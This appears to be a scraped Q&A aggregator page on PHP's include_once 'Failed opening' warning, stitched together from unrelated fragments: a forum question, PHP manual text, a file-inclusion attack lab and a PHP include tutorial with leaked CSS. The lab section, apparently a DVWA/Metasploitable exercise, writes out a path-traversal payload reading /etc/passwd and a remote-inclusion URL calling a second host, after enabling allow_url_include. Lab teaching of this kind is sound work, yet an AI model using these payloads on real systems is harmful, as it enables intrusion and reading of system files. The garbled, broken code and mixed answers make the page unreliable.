PHP Warning: include_once() Failed opening » for inclusion (include_path=’.;C:\xampp\php\PEAR’)
I know this error is very common, I’ve tried to search google, I did the tricks to no avail. So my setup is, I have 3 directories: , it’s giving me this: Failed opening ‘C:\xampp\htdocs\metro\pages\../initcontrols/header_myworks.php’ for inclusion (include_path=’.;C:\xampp\php\PEAR’) – user1410081 Dec 10 ’12 at 11:48 ,*Warning: require_once(initcontrols/config.php) [function.require-once]: failed to open stream: No such file or directory in*,The directory of the file. If used inside an include, the directory of the included file is returned
This should work if current file is located in same directory where initcontrols is:
initcontrolsconfig.php"); ?> initcontrolsheader_myworks.php"; include_once($file); echo $plHeader;?> Answer by Tatum Underwood
See the include_once documentation for information about the _once behaviour, and how it differs from its non _once siblings. , The require_once expression is identical to require except PHP will check if the file has already been included, and if so, not include (require) it again. , require_once , include_once
The require_once expression is identical to require except PHP will check if the file has already been included, and if so, not include (require) it again.
Answer by Titus Winters
Now that we understand how a file inclusion vulnerability can occur, we will exploit the vulnerabilities on the include.php page.,Remote File Inclusion (RFI) and Local File Inclusion (LFI) are vulnerabilities that are often found in poorly-written web applications. These vulnerabilities occur when a web application allows the user to submit input into files or upload files to the server.,RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine.,In order to demonstrate these techniques, we will be using the Damn Vulnerable Web Application (DVWA) within metasploitable. Connect to metasploitable from your browser and click on the DVWA link.
On the file inclusion page, click on the view source button on the bottom right. If your security setting is successfully set to low, you should see the following source code:
$file = $_GET['page']; //The page we wish to display We can use cat to view the index.php within the /var/www/dvwa/vulnerabilities/fi/ directory.
msfadmin: cat -n /var/www/dvwa/vulnerabilities/fi/index.php Looking at the output, we can see that there is a switch statement on line 15, which takes the security setting as input and breaks depending on which setting is applied. Since we have selected ‘low’, the code proceeds to call /source/low.php. If we look farther down in index.php, we can see that line 35 says:
In the browser address bar, enter the following:
http://192.168.80.134/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd In metasploitable, we can open the php.ini file using nano :
msfadmin: sudo nano /etc/php5/cgi/php.ini sudo password: msfadmin In nano, type ‘ctrl-w’ to find a string. Type in ‘allow_url’ and hit enter. We should now be on line 573 of the php.ini file (type ‘ctrl-c’ to find the current line in nano). Make sure that ‘allow_url_fopen’ and ‘allow_url_include’ are both set to ‘On’. Save your file with ‘ctrl-o’, and exit with ‘ctrl-x’. Now, restart metasploitable’s web server with:
msfadmin: sudo /etc/init.d/apache2 restart In Kali, we need to set up our own web server for testing. First, create a test file called rfi-test.php and then start apache.
[email protected]:~# echo "Success." > /var/www/html/rfi-test.php [email protected]:~# systemctl start apache2 Now we can test our RFI. On the ‘File Inclusion’ page, type the following URL:
http://192.168.80.134/dvwa/vulnerabilities/fi/?page=http://192.168.80.128/rfi-test.php Answer by Madison Yates
When loading the functions.php file, PHP first looks for the functions.php file in the directory specified by the include_path. In this example, it’s ‘\xampp\php\PEAR’. If PHP can find the functions.php file there, it loads the code from the file.,This demonstrated that the include construct does make PHP executes code in the functions.php file.,The footer.php file contains the code related to the footer of the page:,Read a File into a String: file_get_contents()
The include construct allows you to load the code from another file into a file. Here’s the syntax of the include construct:
.wp-block-code < border: 0; padding: 0; >.wp-block-code > div < overflow: auto; >.shcb-language < border: 0; clip: rect(1px, 1px, 1px, 1px); -webkit-clip-path: inset(50%); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal; word-break: normal; >.hljs < box-sizing: border-box; >.hljs.shcb-code-table < display: table; width: 100%; >.hljs.shcb-code-table > .shcb-loc < color: inherit; display: table-row; width: 100%; >.hljs.shcb-code-table .shcb-loc > span < display: table-cell; >.wp-block-code code.hljs:not(.shcb-wrap-lines) < white-space: pre; >.wp-block-code code.hljs.shcb-wrap-lines < white-space: pre-wrap; >.hljs.shcb-line-numbers < border-spacing: 0; counter-reset: line; >.hljs.shcb-line-numbers > .shcb-loc < counter-increment: line; >.hljs.shcb-line-numbers .shcb-loc > span < padding-left: 0.75em; >.hljs.shcb-line-numbers .shcb-loc::before < border-right: 1px solid #ddd; content: counter(line); display: table-cell; padding: 0 0.75em; text-align: right; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; white-space: nowrap; width: 1%; >include 'path_to_file';Code language: PHP (php)In this syntax, you place the path to the file after the include keyword. For example, to load the code from the functions.php file into the index.php file, you can use the following include statement:
If PHP cannot find the ‘functions.php’ file in the src directory, it’ll issue a warning. For example:
Warning: include(functions.php): failed to open stream: No such file or directory in . on line 4 Warning: include(): Failed opening 'functions.php' for inclusion (include_path='\xampp\php\PEAR') in . on line 4Code language: PHP (php)When PHP loads the functions.php file, it actually executes the code inside the functions.php file. For example, if you place the following code in the functions.php file:
echo get_copyright(); Code language: HTML, XML (xml)and include the functions.php in the index.php file, you’ll see the following output when you run the index.php file:
Copyright © 2021 by phptutorial.net. All Rights Reserved!Code language: CSS (css)Typically, you place the template files like header.php and footer.php in a separate directory. By convention, the name of the include directory is inc :
. ├── index.php ├── functions.php ├── inc │ ├── footer.php │ └── header.php └── public ├── css │ └── style.css └── js └── app.jsCode language: CSS (css)The header.php file contains the code of the header of the page. It has a link to the style.css file located in the public/css directory:
Code language: HTML, XML (xml)The footer.php file contains the code related to the footer of the page: